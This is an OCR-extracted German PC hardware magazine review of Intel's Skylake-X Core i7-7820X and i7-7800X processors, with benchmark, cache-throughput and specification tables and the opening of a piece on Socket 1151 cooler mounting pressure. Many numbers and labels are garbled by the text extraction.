pei 81,0 (-40 %) 
pan 75,7 (24% 


Vorgängermodelle nur DDRÁ-2400 
anstatt DDR4-2667 und muss mit 
Speichertransfers auf Broadwell- 


System: Intel X299/X99, 2170/297/277, AMD X370/990FX,8 GiB RAM pro Speicherkanal 
ikation), GF GTX 980 Ti @ 1.380/3.900 MHz; Windows 
10 64 Bit Bemerkungen: Alle Spiele-Tests in 1.280 х 720 (16:9) mit max. Grunddetails. 


(Geschw. jew. laut max. CPU-Spezi 
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Multithread-Shooter: Crysis 3 


„Fields” (720p, kein AA/AF/min. Post-Processing) 


i9-7900X „unlocked“ (3,3+ GHz — 10с/201) Eun 204,7 (+6 96) 
Intel Core i9-7900X (3,3+ GHz — 10c/20t) En Es 197,5 («2 %) 
Intel Core i7-6950X (3,0+ GHz – 10c/20t) s s 193,2 («0 96) 


Intel Core i7-7820X (3,6+ GHz — 8с/16 
Intel Core i7-6900K (3,2+ GHz — 8/16 
Intel Core i7-7800X (3,5+ GHz - 6с/12 
Intel Core i7-5960X (3,0+ GHz — 8c/16 
Intel Core i7-5930K (3,5+ GHz — 6c/12 
Intel Core i7-6800K (3,4+ GHz — 6c/12 
Intel Core i7-7740X (4,34- GHz – 4с/8 
AMD Ryzen 7 1800X (3,6+ GHz — 8/16 
Intel Core i7-5820K (3,3+ GHz - 6с/12 
AMD Ryzen 7 1700X (3,4+ GHz — 8c/16 
Intel Core i7-7700K (4,2+ GHz – 4с/8 
AMD Ryzen 5 1600X (3,6+ GHz - 6c/12 
AMD Ryzen 7 1700 (3,0+ GHz - 8/16 
Intel Core i7-6700K (4,0+ GHz – 4с/8 
Intel Core i7-4960X (3,6+ GHz — 6с/12 
AMD Ryzen 5 1600 (3,2+ GHz - 6c/12 
Intel Core i7-3960X (3,3+ GHz - 6c/12 
ntel Core i7-5775C (3,3+ GHz – 46/8 
ntel Core i7-4790K (4,0+ GHz – 4c/8 
ntel Core i7-4770K (3,5+ GHz – 4с/8 
ntel Core i7-990X (3,5+ GHz – 67/12 
Intel Xeon E3-1230 v5 (3,4+ GHz – 46/8 
AMD Ryzen 5 1500X (3,5+ GHz – 46/8 
ntel Core i7-4820K (3,7+ GHz – 4с/8 
ntel Core i7-3770K (3,5+ GHz – 4с/8 
ntel Core i5-7600K (3,8+ GHz — 4c/4t 
AMD FX-9590 (4,7+ GHz – 4m/8 
ntel Core i5-5675C (3,1+ GHz – 4с/4: 
Intel Core i5-7500 (3,4+ GHz – 4с/4: 
AMD Ryzen 5 1400 (3,2+ GHz – 4c/8 
ntel Core i7-2600K (3,4+ GHz – 4c/8 
ntel Core i5-4690K (3,5+ GHz — 4c/4t 
ntel Core i5-6600K (3,5+ GHz – 4с/8 
ntel Core i5-4670K (3,44- GHz — 4c/4t 
AMD ЕХ-8370 (4,0+ GHz – 4m/8 
AMD FX-8350 (4,04- GHz — 4m/8 
Intel Core i5-7400 (3,0+ GHz – 4с/4: 
Intel Core i5-6500 (3,2+ GHz – 4с/4: 
Intel Core i5-3570K (3,4+ GHz – 4с/4: 
Intel Core i3-7350K (4,2 GHz – 2с/4: 
AMD FX-8300 (3,3+ GHz – 4m/8 

AMD FX-8320E (3,2+ GHz - 4m/8 

AMD FX-6350 (3,9+ GHz — 3m/6 

Intel Core i5-2500K (3,3+ GHz – 4с/4: 
Intel Core 13-6100 (3,7 GHz — 2с/4: 

Intel Core 17-920 (2,7+ GHz – 4c/8 

AMD Phen. II X6 1100T (3,3+ GHz - 6с/6 
Intel Pentium G4560 (3,5 GHz - 2c/4 
AMD FX-6300 (3,5+ GHz — 3m/6 
AMD Athlon ХА 845 (3,5-- GHz — 2m/4! 
AMD A10-7870K (3,9+ GHz — 2m/4! 
AMD A10-6800K (4,1+ GHz — 2m/4! 
AMD ЕХ-4300 (3,8+ GHz — 2m/4t 
AMD A10-7800 (3,5+ GHz — 2m/4! 

Intel Pentium G4400 (3,3 GHz — 202 
AMD A8-7600 (3,1+ GHz — 2m/4 

Intel Core 2 Quad 06600 (2,4 GHz - Ach 
Intel Core 2 Duo E8500 (3,2 GHz - 2с/2 


К) 
) as e 176,9 (-8 96) 
) mag 165,2 (-14 %) 

) Eas ЕЕ 164,4 (-15 96) 

) a 154,2 (-20 %) 

) НЗ НИ 154,1 (-20 96) 

) E 1525 (-21 %) 

) Bi 149,5 (23 %) 
TT 149,0 (-23 %) 

) A 145,6 (-25 %) 

) EGG 144,3 (-25 96) 

) Eae 142,0 (-27 %) 

) ВНЕ II 137,2 (-29 %) 

) Eres 136,7 (-29 96) 

) RE 136,7 (-29 %) 
Д В 133,1 (-31 %) 

) sl 131,0 (32 %) 

) il 128,5 (-33 96) 

) ШН И 1255 (-33 %) 

) НОБ 119,3 (-38 96) 

) НОЗ ВВ 119,2 (-38 %) 

) allii 117,5 (-39 %) 

) ES 104,3 (-46 96) 

) Fer 102.1 (-47 %) 

) Egal 101,6 (-47 %) 

) ERE 101,5 (-47 96) 

) ENS lili 95,7 (-50 96) 
) Egan 94,6 (-51 96) 
) НИ 94,3 (-51 96) 
) НЕО 93,4 (-52 %) 
) Eug 92,3 (-52 %) 
) mt 90, 1 (-53 96) 
) Em lli 89,2 (-54 96) 

) mem 8,6 (-54 90) 
) EE 88,3 (-54 %) 
) Ea Ext 88,0 (-54 96) 
) manm 87,3 (-55 96) 
) Eg 82,9 (-57 9) 
) EEE 80,3 (-58 %) 
) EB 77,8 (-60 96) 
) ШИСИ 73,7 (-62 96) 

) ШИНИ 72,1 (-63 96) 
) Ee 71,4 (-63 96) 
) psg 70,7 (-63 9) 
) БОИ 69,5 (-64 %) 
) Fee 69,3 (-64 96) 
) Es 67,2 (-65 %) 
) Es 65,5 (-66 96) 
) gem 64,7 (-67 96) 
) ON 43,4 (-75 %) 

) EH 48,2 (-75 96) 

) EB 47,3 (-76 %) 

) ШЕ 46,6 (-76 96) 

) BEIN 44,3 (-77 %) 

) ВЕЗИ 43,8 (-77 %) 

) ВЕЗУ 43,0 (-78 96) 

) 23 29,6 (-85 96) 

) MAH 20,4 (-89 96) 


AMD Athl. 64 X2 6400+ (3,2 GHz – 202 


) Bl 18,1 (-91 %) 


E-Niveau vorliebnehmen. So ha- 
ben wir ihn auch durch unseren 
Testparcours gescheucht - der i7- 
7820X durfte spezifikationsgemäß 
mit DDR4-2667 antreten. 


Übrigens: Alle bisherigen Skylake- 
X-Modelle müssen erstmals im 
High-End-Desktop-Bereich auf ei- 
nen verlóteten Heatspreader ver- 
zichten - die Auswirkungen und 
eine Anleitung zum ,Kópfen* ha- 
ben wir bereits in der vorigen Aus- 


gabe thematisiert. Laut einer PCGH- 
Forenumfrage stórt dies mehr als 
die Hálfte der Abstimmenden und 
hält sie vom Kauf ab. 


Schnellrechenkünstler 

Die Vektoreinheiten, aus denen mo- 
derne Prozessoren einen Grofsteil 
ihrer Rechenkraft erzeugen, wer- 
den von Standardsoftware nur sehr 
selten voll genutzt. Mit steigender 
Version nimmt die Verbreitung von 
AVX, AVX2 und AVX512 exponen- 


Durchsatz: Recheneinheiten pro Kern 


,FLOPS" - Double-Precision-Rechenleistung bei verschiedenen Befehlstypen 
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System: Intel X99/X299, AMD X370,8 GiB RAM pro Speicherkanal (Geschw. jeweils laut max. CPU-Spezifikation), 
GF GTX 980 Ti @ 1.380/3.900 MHz; Windows 10 64 Bit Bemerkungen: Pro Kern kann sich der i7-7740X dank 
seines hohen Taktes noch gut positionieren — AVX512 fehlt ihm wie fast allen anderen CPUs aber komplett. 


Durchsatz: Recheneinheiten der gesamten CPU 
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„FLOPS” - Double-Precision-Rechenleistung bei verschiedenen Befehlstypen 


Add/Sub AVX128 
Mul AVX128 
Mul--Add AVX128 
FMA3 AVX128 
Add/Sub AVX256 


Mul AVX256 
Mul--Add AVX256 
FMA3 AVX256 
Add/Sub AVX512 
Mul AVX512 
Mul--Add AVX512 
FMA3 AVX512 


Befehl 


System: Intel Х99/2170/797/277, AMD X370/990FX,8 GiB RAM pro Speicherkanal (Geschw. 
jeweils laut max. CPU-Spezifikation), GF GTX 980 Ti @ 1.380/3.900 MHz; Win 10 64 Bit 
Bemerkungen: Alle Spiele-Tests in 1.280 x 720 (16:9), um GPU-Limit zu verringern. 
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System: Intel X99/X299, AMD X370,8 GiB RAM pro Speicherkanal (Geschw. jeweils laut max. CPU-Spez.), GF GTX 
980 Ti @ 1.380/3.900 MHz; Win 10 64 Bit Bemerkungen: Fein säuberlich nach Kernzahl (und in Grenzen nach 
Taktunterschieden) reiht sich die Skylake-X-Reihe im AVX512-Abschnitt ein. Keine Spur deaktivierter FMA-Einheiten. 
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Skylake X: Alle bisherigen Modelle in der Übersicht 


CPU-Modell Codename | Sockel | Kerne/Threads | Basistakt | Turbo 2.0 | Turbo 3.0 | L3-Cache RAM TDP PCI-E-Lanes | Preis (EUR/US-$-UVP) 
Core i9-7980XE Skylake X | 2066 18/36 unbek. unbek. unbek. |24,75 MiB unbek. unbek. unbek. Nicht verfügbar/1.999 US-$ 
Core i9-7960X Skylake X | 2066 16/32 unbek. unbek. unbek. 22 MiB unbek. unbek. unbek. Nicht verfügbar/1.699 US-$ 
Core i9-7940X Skylake X | 2066 14/28 unbek. unbek. unbek. | 19,25 MiB unbek. unbek. unbek. Nicht verfügbar/1.399 US-$ 
Core i9-7920X SkylakeX | 2066 12/24 2,9 GHz unbek. unbek. 16,5 MiB unbek. unbek. unbek. Nicht verfügbar/1.189 US-$ 
Core i9-7900X Skylake X | 2066 10/20 3,3 GHz | 43 GHz | 45 GHz | 13,75 MiB | 4x DDR4-2667 | 140 Watt 44 1.000 EUR/989 US-$ 
Core i7-7820X Skylake X | 2066 8/16 3,6 GHz | 43 GHz | 4,5 GHz 11 MiB |4x DDR4-2667 | 140 Watt 28 600 EUR/589 US-$ 
Core i7-7800X Skylake X | 2066 6/12 3,5 GHz | 4,0 GHz = 8,25 MiB | 4x DDR4-2400 | 140 Watt 28 375 EUR/383 US-$ 
Core i7-7740X Kaby Lake X| 2066 4/8 4,3 GHz | 4,5 GHz - 8 МІВ | 2х DDR4-2667 | 112 Watt 16 345 EUR/339 US-$ 
Core i5-7640X Kaby Lake X| 2066 4/4 4,0 GHz | 4,2 GHz 6 МІВ | 2x DDR4-2667 | 112 Watt 16 245 EUR/242 US-$ 


tiell ab. Während es das eine oder andere 
Spiel mit AVX-Code gibt, ist AVX2 eher im 
Bereich des Videotranscodings oder 3D- 
Renderings, etwa mit Blender, anzutref- 
fen. AVX512 hingegen fristet sein noch 
junges Dasein in speziell optimierten Ma- 
thematik-Bibliotheken, die auch die Basis 
für Linpack bilden, im „Pi-Berechner“ 
y-Cruncher oder in Experimentalversi- 
onen von Video-Software. Skylake X ist 
die erste Desktop-CPU, welche die dritte 
AVX-Generation unterstützt: AVX512F 
- wobei das F für Foundation steht und 
die Basisversion kennzeichnet. Dazu hat 
Intel SKL-X-CPUs die Möglichkeit gege- 
ben, die beiden AVX2-Einheiten an Port 
О und 1 für AVX512-Code zusammenzu- 
schalten, und zudem eine separate FMA- 
Einheit an Port 5 des Schedulers hinzuge- 
fügt - wie die Messungen links belegen, 
ist diese bei auch all unseren aus dem Re- 
tail stammenden Testmustern aktiv. 


Von lahmen Caches und Meshes 
Diese Recheneinheiten wollen natürlich 
auch entsprechend mit Daten gefüttert 
werden - und so hat Intel das Cache- 
Design in Skylake X überarbeitet. Spit- 
zenwerte der L1-Caches von zwei Lade- 
und einem Schreibvorgang mit je 64 Bit 
waren bereits seit dem Desktop-Skylake 
móglich. Die teils angegebene Verbesse- 
rung bezieht sich ergo auf den Vergleich 
zur Broadwell-(E-)Generation. Der mit 
AIDA64 gemessene Durchsatz (s. Tabelle 
auf der nächsten Doppelseite) zeigt je- 
doch, dass diese Spitzen offenbar nicht 
lange durchgehalten werden - alle drei 
SKL-X-CPUs sind nur geringfügig flotter 
beim L1-Durchsatz als ihre BDW-E-Pen- 
dants, was vornehmlich am Takt liegt. Die 
Schreib- und Kopierraten des L2-Caches 
hingegen sind glatt verdoppelt worden, 
wenn auch auf Kosten der um 25 Prozent 
gestiegenen Latenz. Beim L3-Cache ist 
der Rotstiftansatz eindeutig: Intel wollte 
durch den auf 1 MiByte pro Kern ver- 
vierfachten L2-Cache die Daten näher an 
die Kerne heranrücken und tat dies auf 
Kosten des Datenaustausches unterein- 
ander, sprich des Level-3- oder Last-Level- 
Caches. Mit nur noch knapp 13 GiByte 
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Anwendungsleistung (Auswahl): Skylake X demonstriert Stárke 


Prozessormodell 3DM Fire Cinebench 7-Zip Light- Blender x264 UHD- y-Cruncher* 
Strike Phy- | R15 (Punkte (Sek) |room 5.7.1 | 2.76/2.78 | Transcoding | ...9462/...9468/ 
sik (Punkte) | ` ST/MT) (Sek)  |VC14 (Sek.) (Sek.) ...9471 (Sek.) 

Intel Core i9-7900X 24.094 194/2.105 105 87 98/78 48,7 62,9/50,7/— 

Intel Core 17-7820Х 21.295 194/1.750 22 89 129/91 57,2 66,3/55,2/46,8 

Intel Core i7-6950X 21.430 166/1.805 20 90 117/89 61,3 69,5/59,3/- 

Intel Core i7-6900K 19.232 167/1.483 26 93 143/106 71,7 74,6/66, 1/- 

AMD Ryzen 7 1800X 19.312 163/1.639 84 105 140/108 64,3 108,7/90,7/- 

Intel Core i7-5960X 16.203 139/1.329 35 108 161/- 80,6 8l 2/—f— 

AMD Ryzen 7 1700X 18.246 155/1.557 91 111 149/133 67,5 113,4/94,2]- 

Intel Core i7-7800X 21.732 174/1.303 80 104 165/120 74,9 91,3/75,7/62,1 

AMD Ryzen 7 1700 16.798 148/1.426 203 117 161/123 73,1 121,5/101,0/- 

Intel Core i7-6800K 15.644 156/1.114 170 111 186/- 96,3 107,7/92,4/92,5 

Ryzen 5 1600X 17.113 163/1.244 229 111 181/139 84,2 146,5/119,3/- 

Ë Intel Core i7-7740X 4.733 97/996 198 114 199/148 ОЛА 94,4/85,6/- 
& Intel Core i7-5820K 3.589 142/1.022 68 119 203/- 103,9 110,4/-/- 
š ntel Core i7-7700K 4.240 95/974 204 18 205/154 957 98,5/89,7/- 
* Ryzen 5 1600 5.853 149/1.149 236 18 196/149 90,1 158,2/128,8/- 
š | Intel Core i7-4790K 1.924 75/857 197 32 231/- 121,6 їй 
E ntel Core i7-5775C 2.278 55/787 195 133 257/- 125,4 139,3/-/- 
2 ntel Core i7-990X 2.349 108/822 232 57 243/- 138,9 3222/22 
£ Ryzen 5 1500X 2.185 56/818 283 23 266/201 126,2 208,9/171,4/— 
© ntel Core i5-7600K 9.013 182/676 256 29 332/226 125,8 129,7/113,5/- 
= AMD FX-9590 8.407 113/727 208 46 415/- 138,4 256,4/-/- 
2 Intel Core i7-3770K 9.926 142/679 217 154 316/- 163,3 2915/5/= 
Ë Intel Core i5-4690K 7.482 155/565 288 50 368/— 162,6 168,3/—/— 
š Intel Core i7-2600K 8.971 134/619 253 175 351/- 190,5 316,8/-/- 
z Intel Core i5-3570K 6.953 134/524 285 59 431/- 199 348,3/-/- 


PROZESSOREN 


Auszug aus Testtabelle 
mit vielen weiteren Wertungskriterien 


Prozessor 
PCGH-Preisvergleich 


Intel Core i7-7820X 
www.pcgh.de/preis/1632796 


Intel Core i7-7800X 
www.pcgh.de/preis/1632797 


Preis/Preis-Leistungs-Verháltnis Ca. 600 €/5+ Ca. 375 €/4 
Für Mainboards mit Sockel ... Sockel 2066 Sockel 2066 
Codename Skylake X Skylake X 


Anzahl Kerne/Module, Uncore-/L3-Takt 


8 (16), 1,8 bis 2,4 GHz 


6 (12), 1,8 bis 2,4 GHz 


Basistakt (Turbo für alle und einen Kern) 


3,6 GHz (4,0-4,5 GHz) 


3,5 GHz (4,0/4,0 GHz) 


L1-Cache (Daten/Befehle, je Kern/Modul) 


32 KiByte/64 KiByte 


32 KiByte/64 KiByte 


L2-Cache (je Kern/Modul)/LLC (gesamt) 


1.024 KiByte/11,00 MiByte 


1.024 KiByte/8,25 MiByte 


Transistoren, Fertigung, Die-Size 
Ausstattung (20 % der Endnote) 
Grafikeinheit 


Unbekannt, 14 nm, unbekannt 
2,16 
Nicht vorhanden 


Unbekannt, 14 nm, unbekannt 
2,16 
Nicht vorhanden 


Befehlssätze und Erweiterungen (Auswahl) 


SSE bis 4.2, AVX bis 512F, AES, FMA3 


SSE bis 4.2, AVX bis 512F, AES, FMA3 


Integrierte PCI-Express-Lanes 
Eigenschaften (20 % der Endnote) 
Offener Multiplikator* 


28x PCI-Express 3.0 
1,73 
Ja (bis 83) 


28x PCI-Express 3.0 
1,88 
Ja (bis 83) 


Übertaktung per Referenztakt?* 


Ja 


Ja 


Speicherkanäle (u. max. Geschwindigkeit*/**) 


4x DDR4-2667 (kein ECC) 


4x DDR4-2400 (kein ECC) 


FAZIT 


© Teils sehr hohe Re 
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TDP laut Hersteller** 140 Watt 140 Watt 
Systemverbrauch Leerlauf abzüglich Grafikkarte |31 Watt 31 Watt 
Systemverbrauch (Anno/C3/TW3)* * 233/378/312 Watt 224/345/298 Watt 
Systemverbrauch Spiele (Durchschnitt)* * 292 Watt 280 Watt 
Systemverbrauch Anwendungen (Durchschnitt)** |201 Watt 177 Watt 
Leistung (60 % der Endnote) 141 1,86 
Spieleindex (60 % der Leistungsnote) 90,7 % 85,8 % 
Anwendungsindex (40 % der Leistungsnote) 89,6 % 69,9 % 


pro Sekunde transferiert ein einzel- 
ner Kern Daten durch das Mesh - so 
die Messung der aktuellen AIDA64- 
Version. Broadwell-E kam noch auf 
über 30 und die Desktop-Kaby-Lakes 
oder der Kaby Lake X schaffen gar 
über 70 GiByte pro Sekunde. Daran 
kann nicht nur der niedrigere Takt 
des Mesh im Vergleich zum Ringbus 
(bei BDW-E mit 2,8 GHz, bei KBLC 
X) mit bis zu 4 GHz laufend) schuld 
sein. Unter Volllast (siehe unten) 
sinkt dieser Takt sogar auf bis zu 1,8 
GHz ab. Intel verspricht sich von 
diesem schmerzhaften Schnitt eine 
insgesamt bessere Skalierfähigkeit 
- auch durch niedrigeren Energie- 
verbrauch des Mesh verglichen mit 
den Ringbussen - in grofsen Data- 
Center-Servern. Dort sind in der ak- 
tuellen Generation Kernzahlen von 
bis zu 28 (und künftig weit mehr) 
bereits fest eingeplant. Auch die 
Kapazität des L3-Caches ist von 2,5 
auf 1,375 MiByte pro Kern deutlich 
geschrumpft, allerdings muss da- 
rin nun auch nicht mehr der Inhalt 
sämtlicher L2-Caches vorgehalten 
werden. 


Mega-Appetit 

Leser der vorigen PCGH-Ausgabe 
wissen bereits, dass zumindest der 
Core i9-7900X aus Intels Skylake-X- 
Reihe einen ziemlichen Stromdurst 
entwickelt, der ihn seinen Allcore- 
Turbo auch bei alltäglicher Last ein 
ums andere Mal verfehlen ließ. Mit 
zwei respektive vier aktiven Ker- 
nen weniger dürfte diese „Gefahr“ 
bei den beiden i7-Modellen gerin- 
ger ausfallen. Im Standard-Testlauf 
haben wir in der Tat auch keine 
Sprünge des Stromverbrauchs über 
120 Watt gesehen - wohl aber beim 
Einsatz von AVX2 oder AVX512F. 


Aber auch in die andere Rich- 
tung schwingt das Taktpendel: 
Bei AVX2-Programmcode, der die 
Recheneinheiten besonders stark 
auslastet, kann der Takt auch unter 
den eigentlichen Basiswert sinken. 
Für die Xeon-Prozessoren gibt In- 
tel diese Werte separat an, beim 
Skylake-X-Portfolio schweigt der 
Prozessorriese beharrlich. Im Test 
mit AVX2-optimiertem Linpack- 
Code setzen beide Core-i7-Modelle 
direkt Werte unterhalb des Basis- 
Taktes an: 3,5 GHZ sind es beim 
Achtkerner, der 7800X darf mit 3,5 
GHz rechnen. Entfernen wir diese 
Drossel via UEFI, wie es oft beim 
Übertakten geschieht, genehmigt 
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sich der 7820X bis zu 170 Watt laut " 
HWInfo64, der 17-7800Х kommt Mesh Architecture 
hingegen mit gut 125 Watt aus. ` T 3x UPI Links 3x16 PCle Сепз 

оке 2 А : Ring Architecture 
Mit guter Luftkühlung ist beides 

XM 138 PCIe сепз 

beherrschbar - trotz des Einsatzes 
von Wärmeleitpaste zwischen Die m > 
und Heatspreader hielt der von 
uns genutzte Noctua NH-D15 den 
7820X auf 72 °C - mit 140-Watt- 
TDP waren es vier Grad weniger. 


Xeon 


Xeon 


Alltäglichere Lasten, worunter auch Xeon Xeon 
die meisten Spiele fallen, absolvie- 
ren beide CPUs mit ihrem All-Core- 
Turbo von 4 GHz - der i7-7820X А 
fàhrt teils noch einzelne Кегпе auf Base Жаша ки ЕБЕ даша 
bis zu 4,1 GHz herauf. Den Maximal- 2009-2017+ N in 2017 

Turbo von 4,5 GHz schen wir nur Sum 
bei sehr niedriger Last, etwa beim Bisher musste der Ringbus (teils mit mehreren einzelnen Ringen und Buffern) die Kerne verbinden — das tut ab sofort das Mesh, їп 
Fritz Chessbench, und auch dort dem sich die Daten horizontal und vertikal mit wechselnder, aber berechenbarer Latenz bewegen können. 

sinkt die Taktrate schon bei einem 
zweiten Berechnungsthread auf 4,1 
GHz. Cinebench und x264-Video- 
transkoder starten direkt mit 4,1 32KB L1 1$ "re e Inst Q 
GHz bei maximal zwei Threads. Der 
17-7800Х hielt seine 4,0 GHz abseits 
des Linpacks und der für Skylake In order 

SP/X optimierten y-Cruncher-Ver- Scheduler 000 
sion 0.7.3.9471 immer durch. 


Xeon Xeon 


Bild: Intel 


Leistungsschau 

Regelmäßigen PCGH-Lesern wer- 
den die vergleichsweise wenigen 
Spiele-Benchmarks in diesem Ar р 88...00... 
tikel auffallen: Sie finden alle rele- 
vanten Werte auch im aktualisier- 
ten CPU-Leistungsindex auf Seite Die Struktur der Skylake-X-CPU hat sich anhand des Blockschaltbildes nur leicht gewandelt: Neu sind der 1 MiByte fassende L2- 


ta 2 


Load Data 3 = Memory Control 


Memory 


Bild: Intel 


49 - zugegebenermaßen etwas Cache sowie die AVX512F-Unterstützung in der Vektoreinheit. Die zusätzliche FMA-Einheit ist bei all unseren Testmustern aktiv. 
CPU-Modell Core i7- R5-1600X* Core i7- Core i7- R7-1800X* Core i7- Core i7- Core i9- Core i7- 
7740X 7800X 6800K 7820X 6900X 7900X 6950X 
Speichertakt DDR4-2667 DDR4-2400 DDR4-2400 DDR4-2400 DDR4-2400 DDR4-2667 DDR4-2400 DDR4-2667 DDR4-2400 
Speicherlatenzen 15-14-14- 142132132185 14-13-13- 14-13-13- 14-13-13-13- 15-14-14- 14-13-13- 15-14-14- 14-13-13- 
34-1T 33-2] ЗЗП 33-11 33-17 34-1T 33-11 34-17 33-17 
L1 Latenz (ns) 0,9 1,0 1,0 11,0 1,0 0,9 11,0 0,9 1,2 
12 Latenz (ns) 3,3 4,2 5,6 4,3 4,3 5,4 4,3 Si ES? 
L3 Latenz (ns) 10,1 11,0 212 158 112 20,1 16,3 20,3 16,4 
Speicher-Latenz (ns) 47,4 83,4* 76,6 65,2 84,2* 70,3 64,9 67,8 65,5 
Speicher Lesen (GB/s) 39,8 36,6 62,9 53,6 37,4 77,4 59,4 79,6 65,1 
Speicher Schreiben (GB/s) 41,8 36,6 67,5 60,9 36,5 74,6 59,3 735 60,6 
Speicher Корїегеп (GB/s) 38,5 36,2 62,7 60,4 35,6 70,5 60,5 ZA 66, 1 
L1 Lesen (GB/s) 1.115,2 688,2 1.4592 1.289,2 918,6 1.942,0 1.718,8 2.428,6 2.087,2 
L1 Schreiben (GB/s) 561,1 345,0 745,0 655,6 461,0 992,6 874,1 1.241,9 1.061,4 
L1 Kopieren (GB/s) 1.119,2 688,3 1.482,1 1.310,3 918,6 1.976,5 1.747,0 2.469,0 2.121,3 
L2 Lesen (GB/s) 438,6 659,4 658,6 480,5 871,6 878,0 572,8 1.090,2 750,5 
L2 Schreiben (GB/s) 304,9 340,5 427,3 206,1 452,5 568,6 267,5 707,8 329,9 
L2 Kopieren (GB/s) 3025 583,4 631,3 299,9 774,6 836,6 376,3 1.036,1 479,2 
L3 Lesen (GB/s) 287,7 386,5 76,0 191,8 391,2 101,8 228,1 123,6 268,1 
L3 Schreiben (GB/s) 188,3 326,5 T2) 132,4 386,5 94,0 175,6 110,2 208,6 
L3 Kopieren (GB/s) 241,4 402,8 74,4 175,3 447,1 98,5 226,2 1193 271,6 
Bemerkungen: * Mit AGESA 1.0.0.6, Speicherlatenz mit AGESA 1.0.04 bei 79,8 ns 
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weniger komfortabel. Die Stàrken 
der kleineren Skylake-X-Modelle 
sind dabei im Vergleich zum i9- 
7900X gleich geblieben: Crysis 3 
liegt ihnen ebenso gut wie Е1 2015 
und auch Starcraft 2 profitiert vom 
höheren Takt. In The Witcher 3 
halten sie nur mit Mühe Anschluss 
an ihre Vorgänger, dasselbe gilt für 


Anno 2205, Dragon Age Inquisition 
und Assassin’s Creed Syndicate aus 
unsrem Parcours. Schlecht läuft 
unser SMT-Verweigerer Far Cry 
4 - auch hier eine interessante Pa- 
rallele zu Ryzen. In Anwendungen 
hingegen, die sich durchweg bes- 
ser parallelisieren lassen, scheint 
die Veränderung der Architektur 


keine negativen Auswirkungen zu 
haben. Im Gegensatz zum i9-7900X 
und i7-7820X liegt der Sechskerner 
i7-7800X auch in Sachen Energie- 
effizienz knapp vor dem Vorgänger 
mit Broadwell-Kern, während es 
bei der Spieleleistung beinahe zu 
einem Gleichstand mit 85,8 zu 85,9 
(cs) 


Spiele-Indexpunkten reicht. 


Fazit Нагішаге 


Core 17-7820Х und i7-7800X 

Рег Preis speziell des 7820Х ist nied- 
riger als der des Vorgängers und das 
Grafiklimit rückt ab 1080p die CPUs in 
Spielen dichter zusammen. AMDs Ry- 
zen 7 sind allerdings mehr als nur vali- 
de und vor allem günstigere Optionen. 


Skylake X: Frametimes im Vergleich zum Vorgänger 


Core i7-6800K: Assassin's Creed: Syndicate 720p 
“<= Notes: 


FRAFS Bench Virwer 

Statistics (entire file) 

Aen, lime: — 6,858 (145 FPS) 
ї%ъ time: 856 (1134195) 
01% time: 9,95 (100 FPS) 


2,9 К frames; (0 - 2903) 


чт 


mie, 
1.280 x 720 

PCGH-CPU-Benchmark 

Assassin's Creed: Syndicate (DX11) 

Core i7-6800K. 

Titan X (Pascal, 120% РТ, 90*C TT) 


Kim 


Core i7-6800K: Crysis 3 1080p 
Notes: 


pem FRAFS Bench Viewer 
am 
Statistics (entire file) 1.920 x 1.080 
Aen, lime: 6,52 (153 FPS) 
Meter 10,1 (99 FPS) Crysis 3 (DX11) 
ол tme; 1 (вэ res) Core 17-0800К 
IK frames: (0-3063) Titan X (Pascal, 120% PT, 90°C IT) 


Core i7-7800X: Assassin's Creed: Syndicate 720p Core i7-7800X: Crysis 3 1080p 


ajas FRAFS Bench Viewer 
Statistics (entire file) 
Aen, lime: — 678 (148 FPS) 
ї%ъ tme: — 867 (115195) 
01% lime; 9,60 (104 FPS) 


2,9 K frames; (0 - 2948) 


som 


к 


Notes: 


mie 


PCGH-CPU-Benchmark 

Assassın's Creed: Syndicate (DX11) 
Core i7-7800X. 

Titan X (Pascal, 120% PT, 90*C TT) 


“im 


pus FRAFS Bench Viewer Notes: 
Statistics (entire file) 1.920 x 1.080 xd 
Aen, lime: 604 (165 FPS) 
196 time: 927 (108 FPS) Crysis 3 (DX11) 
0.1% tme; 191 (99 res) Core 17-7800Х 


33K frames: (0 - 3306) 


Titan X (Pascal, 120% PT, 90°C TT) 


ien 


Core i7-7820X: Assassin's Creed: Syndicate 720 Core i7-7820X: Crysis 3 1080p 


we FRAFS Bench Viewer 
Statistics (entire file) 
Aen, (ene: 632 (158 FPS) 
19 De — 790 (127 1Р5) 
0.1% time: (111 FPS) 


; 898 
3,1 К frames: (0 - 3160) 


Notes: 
im 
1.280 x 720 
PCGH-CPU-Benchmark 
Assassin's Creed: Syndicate (DX11) 


Core i7-7820X. 
Titan X (Pascal, 120% PT, 90°C TT) 


"ien 


ee FRAFS Bench Viewer Notes: 
Statistics (entire file) 1.920 x 1.080 we 
Aen, lime: 5,66 (177 FPS) rk 
19% time: 6,93 (112 FPS) Crysis 3 (DX11) 
0.1% ume: 9,62 (104 res) Core i7-7820x 


35 К frames: (0 - 3527) 


Titan X (Pascal, 120% РТ, 90°С IT) 


"m 


prem FRAFS Bench Viewer 
Statistics (entire file) 
Aen, time: — 644 (155 FPS) 
19% time: 847 (18 FPS} 
0Л% time: 9,47 (106 FPS) 


3⁄1 K frames; (0 - 3104) 


нт 


Notes: 


mim 
1.280 x 720 


Titan X (Pascal) 


"m 


prm FRAFS Bench Viewer Notes: 
am 
Statistics (entire file) 1.920 x 1.080 
Aen, time: 6,01 (166 FPS) 
196 mer — 102 (98 FPS) Crysis 3 
0.1% оте: 119 (вя res) Core 17-6900K 
IIK frames: (0 - 3326) Titan X (Pascal) 


vn 
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Intel unter Druck 


In der PCGH 07/2017 berichteten wir zum zweiten Mal über bedenkliche Kräfte, mit denen einige 


Kühler Sockel-1151-CPUs belasteten. Einige Werte fehlten aber — welche wir hiermit nachliefern. 


ockel-1151-CPUs sind empfindli- 
Sn als ihre Vorgänger. Ein paar 
Monate nach der Core-i7-6000-Ver- 
öffentlichung rollte, angestoßen 
von PCGH-Untersuchungen, ein re- 
gelrechter „Skylakegate“-Shitstorm 
durch die Online-Gemeinschaft 
und zahlreiche Kühlerhersteller 
mussten ihre Produkte nachbes- 
sern. Aber auch aktuelle Kaby-Lake- 
CPUs sind gefährdet, weswegen 
wir in der vorletzten Ausgabe nach- 
gemessen haben, wie die Hersteller 
dieses Thema bei abnehmender 
Aufmerksamkeit handhaben. 


Rückblick: Das Problem 

Die Fragestellung war hierbei 
die gleiche wie schon im Winter 
2015/2016: Welche Kräfte erzeugen 
die Sockel-1151-Halterungen diver- 
ser Kühler am Markt? Intel selbst 
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spezifiziert eine maximale statische 
Anpresskraft von 222 Newton. 
Neben den hauseigenen Boxed- 
Kühlern halten sich auch die un- 
tersuchten EKL-Modelle an diesen 
